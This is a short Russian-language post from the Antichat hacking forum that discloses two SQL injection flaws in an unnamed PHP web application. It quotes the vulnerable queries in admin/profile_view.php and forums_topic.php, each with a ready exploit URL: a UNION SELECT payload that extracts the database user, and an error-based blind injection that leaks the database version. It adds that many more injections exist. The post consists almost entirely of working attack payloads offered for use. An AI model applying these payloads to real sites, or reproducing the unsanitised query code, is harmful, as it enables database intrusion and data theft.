ANTICHAT - Показать сообщение отдельно

5 копеек..)

-------

1) SQL injection(требования: mq=off, любой акк)

file:/admin/profile_view.php

PHP код:


		
			
        $query2 = "SELECT * FROM $DB_Users, $DB_Users_Assoc, $DB_Users_Types

                  WHERE $DB_Users.username='$user' AND

                        $DB_Users.id=$DB_Users_Assoc.userid AND

                        $DB_Users_Assoc.typeid=$DB_Users_Types.id";

        $result2 = mysql_query($query2, $Link) or queryError("402", mysql_error());

result:

Код:

/admin/profile_view.php?user=-123456'+union+select+1,User(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+--+

2)blind SQL injection(требования: mq=off,желательно 5 ветка бд)

file: /forums_topic.php

PHP код:


		
			
$query = "SELECT * FROM $DB_Forums_Posts WHERE id='$topicid'";

$result = mysql_query($query, $Link) or queryError("71", mysql_error());

result:

Код:

/forums_topic.php?topicid=1'+and+(1,2)in(select/**/*/**/from(select/**/name_const(version(),1),name_const(version(),1))as/**/a)+--+

//много скуль..